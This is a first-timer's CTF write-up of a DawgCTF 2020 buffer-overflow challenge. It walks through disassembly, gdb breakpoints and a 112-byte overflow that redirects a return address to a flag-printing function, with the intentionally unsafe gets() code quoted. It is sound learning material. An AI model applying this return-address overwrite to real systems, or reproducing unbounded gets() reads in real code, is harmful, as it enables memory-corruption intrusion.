Rating:
Alright, this was my first CTF, so this was the most difficult challenge for me. I wouldn't be able to solve it weren't it for the help from the nice admins on the discord server. They were very patient with me, and answered every single question I had regarding this challenge. I was an absolute beginner while doing this challenge, and they helped me every step of the way. I knew none of this before! So yeah, kudos to them! So this is more of a writeup of what I learned, really. This challenge actually took me like 10 hours to solve, so don't feel like you can't do anything like this!
We are given an executable and its source code. In the source code of the file, audition() prints out the flag. That's the function that we need to execute! How the heck are we going to do that?
Well, we can use another buffer overflow. There are two arrays we can dump data into.
void get_audition_info(){
char name[50];
char song[50];
printf("What's your name?\n");
gets(name);
printf("What song will you be singing?\n");
gets(song);
}
We have name and song, which are both 50 bytes each, but because it uses gets(), there is no limit to how much we can write.
In the source code of the binary, we are told how it's compiled:
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
// gcc -m32 -fno-stack-protector -no-pie bof.c -o bof
It compiles to a 32-bit executable, and it doesn't use PIE, which is good, because the memory addresses of each instruction is the same on every machine.
If you don't have the source code of a binary, you can view info about it using this command:
$ file bof
bof: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5709a36b6f4bc9dc8eba2c438456ce72bb319d93, for GNU/Linux 3.2.0, not stripped
To get a closer look at the binary, I disassembled it using this command:
$ objdump -d -M intel bof > bof.asm
This is the function in the assembly code we need to focus on:
080491c4 <get_audition_info>:
80491c4: 55 push ebp
80491c5: 89 e5 mov ebp,esp
80491c7: 53 push ebx
80491c8: 83 ec 74 sub esp,0x74
80491cb: e8 f0 fe ff ff call 80490c0 <__x86.get_pc_thunk.bx>
80491d0: 81 c3 30 2e 00 00 add ebx,0x2e30
80491d6: 83 ec 0c sub esp,0xc
80491d9: 8d 83 1a e0 ff ff lea eax,[ebx-0x1fe6]
80491df: 50 push eax
80491e0: e8 5b fe ff ff call 8049040 <puts@plt>
80491e5: 83 c4 10 add esp,0x10
80491e8: 83 ec 0c sub esp,0xc
80491eb: 8d 45 c6 lea eax,[ebp-0x3a]
80491ee: 50 push eax
80491ef: e8 3c fe ff ff call 8049030 <gets@plt>
80491f4: 83 c4 10 add esp,0x10
80491f7: 83 ec 0c sub esp,0xc
80491fa: 8d 83 2c e0 ff ff lea eax,[ebx-0x1fd4]
8049200: 50 push eax
8049201: e8 3a fe ff ff call 8049040 <puts@plt>
8049206: 83 c4 10 add esp,0x10
8049209: 83 ec 0c sub esp,0xc
804920c: 8d 45 94 lea eax,[ebp-0x6c]
804920f: 50 push eax
8049210: e8 1b fe ff ff call 8049030 <gets@plt>
8049215: 83 c4 10 add esp,0x10
8049218: 90 nop
8049219: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
804921c: c9 leave
804921d: c3 ret
Look at 0x80491ef and 0x8049210 in the code, these are the calls that are reading input, and dumping it into the memory locations of the two character arrays.
If only I looked up that function in the first place, as it would have made this challenge much easier:
We now know that the pointer to the buffer array is the first parameter in the function gets()
But where do we write the pointer?
Operands are stored on the stack. Look at the below code, I added comments for better readability.
8049206: 83 c4 10 add esp,0x10 ## Reserve 4 bytes on the stack
8049209: 83 ec 0c sub esp,0xc ## I don't know why, it just does.
804920c: 8d 45 94 lea eax,[ebp-0x6c] ## Get the address
804920f: 50 push eax ## Push the address to the stack.
8049210: e8 1b fe ff ff call 8049030 <gets@plt> ## Call the function.
Well, the address is stored in eax right before it is pushed onto the stack, at 0x804920f
So, let's set up a breakpoint in gdb at that exact address and observe the contents of the registers.
If you're curious, b is short for breakpoint, r is short for run, and i r is short for info registers.
$ gdb bof
...
(gdb) b *0x804920f
Breakpoint 1 at 0x804920f
(gdb) r
Starting program: /home/jordan/CTF-writeups/DawgCTF2020/bof-to-the-top/bof
Welcome to East High!
We're the Wildcats and getting ready for our spring musical
We're now accepting signups for auditions!
What's your name?
asdf
What song will you be singing?
Breakpoint 1, 0x0804920f in get_audition_info ()
(gdb) i r
eax 0xffffd26c -11668
ecx 0xffffffff -1
edx 0xffffffff -1
ebx 0x804c000 134529024
esp 0xffffd254 0xffffd254
ebp 0xffffd2d8 0xffffd2d8
esi 0xf7f93000 -134664192
edi 0xf7f93000 -134664192
eip 0x804920f 0x804920f <get_audition_info+75>
eflags 0x292 [ AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
Well, looks like the address of char song[50] is at 0xffffd26c, because that's the value stored in eax. (I'm not focusing on the name array, I only need to do a buffer overflow on one or the other, so I chose to use song)
That's great! Now we know the exact place we're writing to! Question is, what do we write?
Well, what about that ret statement at the end of get_audition_info?
Looks like it pulls off an address off of the stack, and the jumps to that address. Can we use that?
Let's use gdb to get the stack pointer right before ret is called in get_audition_info.
........
8049215: 83 c4 10 add esp,0x10
8049218: 90 nop
8049219: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
804921c: c9 leave
804921d: c3 ret
0x804921d is our address. Let's set up a breakpoint!
(gdb) b *0x804921d
Breakpoint 1 at 0x804921d
(gdb) r
Starting program: /home/jordan/CTF-writeups/DawgCTF2020/bof-to-the-top/bof
Welcome to East High!
We're the Wildcats and getting ready for our spring musical
We're now accepting signups for auditions!
What's your name?
asdf
What song will you be singing?
jkl;
Breakpoint 1, 0x0804921d in get_audition_info ()
Good, now let's print out the registers!
(gdb) i r
eax 0xffffd26c -11668
ecx 0xf7f93580 -134662784
edx 0xffffd270 -11664
ebx 0x0 0
esp 0xffffd2dc 0xffffd2dc
ebp 0xffffd2e8 0xffffd2e8
esi 0xf7f93000 -134664192
edi 0xf7f93000 -134664192
eip 0x804921d 0x804921d <get_audition_info+89>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
eax is the same as before, so we can verify that's right. Now, esp is the stack pointer. Looks like 0xffffd2dc is the address we want to overwrite!
I made a python script to do this for me, because I don't think it's possible to type in a buffer overflow on a keyboard, anyways.
So, when we connect to the server, we have to send out 112 bytes to get to the address in the stack that is read when the ret statement is called.
Then, we can overwrite the return address with the function audition, which you remember is what prints the flag.
void audition(int time, int room_num){
char* flag = "/bin/cat flag.txt";
if(time == 1200 && room_num == 366){
system(flag);
}
}
The audition function is at 0x08049182 when you look at bof.asm.
08049182 <audition>:
8049182: 55 push ebp
8049183: 89 e5 mov ebp,esp
8049185: 53 push ebx
8049186: 83 ec 14 sub esp,0x14
8049189: e8 ff 00 00 00 call 804928d <__x86.get_pc_thunk.ax>
804918e: 05 72 2e 00 00 add eax,0x2e72
8049193: 8d 90 08 e0 ff ff lea edx,[eax-0x1ff8]
8049199: 89 55 f4 mov DWORD PTR [ebp-0xc],edx
804919c: 81 7d 08 b0 04 00 00 cmp DWORD PTR [ebp+0x8],0x4b0
80491a3: 75 19 jne 80491be <audition+0x3c>
80491a5: 81 7d 0c 6e 01 00 00 cmp DWORD PTR [ebp+0xc],0x16e
80491ac: 75 10 jne 80491be <audition+0x3c>
80491ae: 83 ec 0c sub esp,0xc
80491b1: ff 75 f4 push DWORD PTR [ebp-0xc]
80491b4: 89 c3 mov ebx,eax
80491b6: e8 95 fe ff ff call 8049050 <system@plt>
80491bb: 83 c4 10 add esp,0x10
80491be: 90 nop
80491bf: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
80491c2: c9 leave
80491c3: c3 ret
We just overwrite the return address with 0x08049182, where audition is located at.
Remember those 4 bytes that were reserved for some reason?
8049206: 83 c4 10 add esp,0x10 ## Reserve 4 bytes on the stack
8049209: 83 ec 0c sub esp,0xc ## I don't know why, it just does.
Yeah, we have to overwrite that, too.
Let's look at audition() again.
void audition(int time, int room_num){
char* flag = "/bin/cat flag.txt";
if(time == 1200 && room_num == 366){
system(flag);
}
}
It takes 2 parameters, time and room_num, which have to be 1200 and 366 in order for the flag to be printed.
So, we write those values, and we're done!
We just have to write one last line break, and the flag should print!
The final solution script is here. You can read it if you want to.
I highly recommend learning how to use pwntools. It's a python library that a lot of people use in CTFs. And it's really easy to use.
It's really easy to learn, and it makes everything much easier.
To import, you can just put from pwn import * at the beginning of your script.
It's completely free, I'm not being sponsored or anything, but I just think it's a really cool library that you may like to use.
$ py sol.py
[+] Starting local process './bof': pid 12899
Welcome to East High!
We're the Wildcats and getting ready for our spring musical
We're now accepting signups for auditions!
What's your name?
What song will you be singing?
DawgCTF{wh@t_teAm?}
Flag: DawgCTF{wh@t_teAm?}
